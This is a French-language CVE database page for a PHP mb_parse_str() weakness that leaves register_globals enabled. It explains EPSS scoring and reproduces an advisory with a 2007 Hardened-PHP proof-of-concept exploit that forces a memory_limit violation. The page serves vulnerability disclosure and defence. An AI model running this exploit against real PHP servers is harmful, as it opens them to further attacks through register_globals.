Descriptions du CVE

The mb_parse_str function in PHP 4.0.0 through 4.4.6 and 5.0.0 through 5.2.1 sets the internal register_globals flag and does not disable it in certain cases when a script terminates, which allows remote attackers to invoke available PHP scripts with register_globals functionality that is not detectable by these scripts, as demonstrated by forcing a memory_limit violation.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/23016/info PHP is prone to a weakness that allows attackers to enable the 'register_globals' directive because the application fails to handle a memory-limit exception. Enabling the PHP 'register_globals' directive may allow attackers to further exploit latent vulnerabilities in PHP scripts. This issue is related to the weakness found in the non-multibyte 'parse_str()' from BID 15249 - PHP Parse_Str Register_Globals Activation Weakness. This issue affects PHP 4 to 4.4.6 and 5 to 5.2.1. <?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP mb_parse_str() register_globals Activation Exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); // The following string will be parsed and will violate the memory_limit $str = "a=".str_repeat("A", 164000); // This code just fills the memory up to the limit... $limit = ini_get("memory_limit"); if (strpos($limit, "M")) { $limit *= 1024 * 1024; } else if (strpos($limit, "K")) { $limit *= 1024; } else $limit *=1; while ($limit - memory_get_usage(true) > 2048) $x[] = str_repeat("A", 1024); // Will activate register_globals and trigger the memory_limit mb_parse_str($str); ?>
